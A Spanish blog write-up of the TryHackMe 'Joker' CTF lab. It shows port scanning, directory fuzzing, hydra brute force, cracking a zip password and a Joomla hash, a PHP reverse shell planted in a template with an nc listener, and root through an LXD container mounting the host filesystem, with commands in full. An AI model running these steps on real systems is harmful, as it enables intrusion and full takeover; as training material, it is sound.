Entrada

TryHackMe - Joker CTF

¿Cómo aumentar privilegios mediante contenedores Linux? (LXD)

TryHackMe - Joker CTF

Introducción

Un desafío muy interesante, fue mi primera vez usando contenedores Linux.

Parece que también tenemos una guía básica sobre los pasos, así que hagamos lo siguiente:

  1. Enumerar servicios
    • Nmap
  2. Fuerza bruta
    • Realizar fuerza bruta en archivos a través de http
    • Realizar fuerza bruta en autenticación básica
  3. Crack de hash
    • Realizar fuerza bruta en hash para crackear archivo zip
    • Realizar fuerza bruta en hash para crackear usuario mysql
  4. Explotación
    • Obtener una conexión inversa
    • Generar un shell TTY
  5. Escalada de privilegios
    • Obtener root aprovechando fallas en LXD

Esta es la metodología que se usa en la mayoría de las máquinas de todos modos, por lo que es bueno tener algunas pautas básicas.

Tryhackme Room Link

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
|   256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_  256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open  http    Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 22/tcp 80/tcp 8080/tcp

Pregunta: ¿Qué versión de Apache es?

Respuesta:

1
2.4.29

Al intentar acceder al puerto 8080/tcp del sitio web de respaldo, se nos solicitan las credenciales.

Pregunta: ¿Qué puerto de esta máquina no necesita ser autenticado por usuario y contraseña?

Respuesta:

1
80

Reconocimiento

Pregunta: Hay un archivo en este puerto que parece ser secreto. ¿Qué es?

1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt              [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]

Respuesta:

1
secret.txt

Visitemos 10.10.204.243/secret.txt

Secret.txt

Parece que tenemos 2 posibles usuarios: joker y batman

Pregunta: Hay otro archivo que revela información del backend, ¿cuál es?

1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124 
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html              [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php             [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]

Respuesta:

1
phpinfo.php

Pregunta: Al leer el archivo secreto nos encontramos con una conversación que parece contener al menos dos usuarios y algunas palabras clave que pueden resultar interesantes, ¿qué usuario crees que sea?

Respuesta:

1
joker

Pregunta: ¿Qué puerto de esta máquina necesita ser autenticado mediante el mecanismo de autenticación básica?

Respuesta:

1
8080

Pregunta: En este punto, tenemos un usuario y una URL que necesita ser autenticada. Usemos la fuerza bruta para obtener la contraseña. ¿Cuál es esa contraseña?

1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get 

Respuesta:

1
<CENSORED>

Usemos gobuster para esto, ya que es más fácil usar credenciales.

1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator 

Respuesta:

1
/administrator/

Rshell

Pregunta: Necesitamos acceder a la administración del sitio para obtener un shell. Hay un archivo de respaldo. ¿Qué es este archivo?

Bueno, nos vemos obligados a usar nikto ya que no pude encontrar nada a través de gobuster ni ffuf

1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED> 
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html

Respuesta:

1
backup.zip

Pregunta: Tenemos el archivo de respaldo y ahora debemos buscar información, por ejemplo, la base de datos, los archivos de configuración, etc. Pero el archivo de respaldo parece estar encriptado. ¿Cuál es la contraseña?

Necesitamos descifrar la contraseña del archivo zip usando john

1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash                                                                                            
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED>           (backup.zip)     
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Respuesta:

1
<CENSORED>

Pregunta: Recuerde que… Necesitamos acceso a la administración del sitio… Bla, bla, bla. En nuestro nuevo descubrimiento vemos algunos archivos que tienen información comprometedora, ¿quizás la base de datos? ¡Bien, qué pasa si hacemos una restauración de la base de datos! ¡Algunas tablas deben tener algo como user_table! ¿Cuál es el superduper usuario?

Después de verificar el archivo joombadb.sql, podemos ver el superduper usuario

Respuesta:

1
admin

Pregunta: Super Duper User! ¿Cual es la contraseña?

1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED>        (?)     
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Respuesta:

1
<CENSORED>

Acceso inicial

Bueno, después de enumerar un poco, encontré una forma de poner un shell inverso. Extensions > Templates > Templates

Rshell1

Podemos echar un vistazo a Beez3 y podemos ver que podemos editar los archivos php. Coloquemos un shell inverso allí, luego podemos hacer clic en Vista previa de plantilla después de iniciar nuestro oyente local.

Rshell2

1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:45:34 up  1:09,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Pregunta: En este punto, debe cargar un shell inverso para obtener acceso al shell. ¿Quién es el propietario de esta sesión?

Respuesta:

1
www-data

Pregunta: Este usuario pertenece a un grupo diferente al tuyo. ¿Qué es este grupo?

1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Respuesta:

1
lxd

Generar un tty shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Escalada de privilegios

Dado que somos un grupo de lxd, quiere que usemos contenedores de Linux para escalar privilegios. Después de investigar un poco, básicamente necesitamos:

  1. Instalar la máquina lxc alpine en nuestra máquina atacante
  2. Configurarla correctamente
  3. Servir como servidor http
  4. Descargar la imagen de la máquina de destino
  5. Ejecutar la imagen y navegar por el sistema como root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

Pregunta: ¿Cuál es el nombre del archivo en el directorio /root?

Respuesta:

1
<CENSORED>.txt
Esta entrada está licenciada bajo CC BY 4.0 por el autor.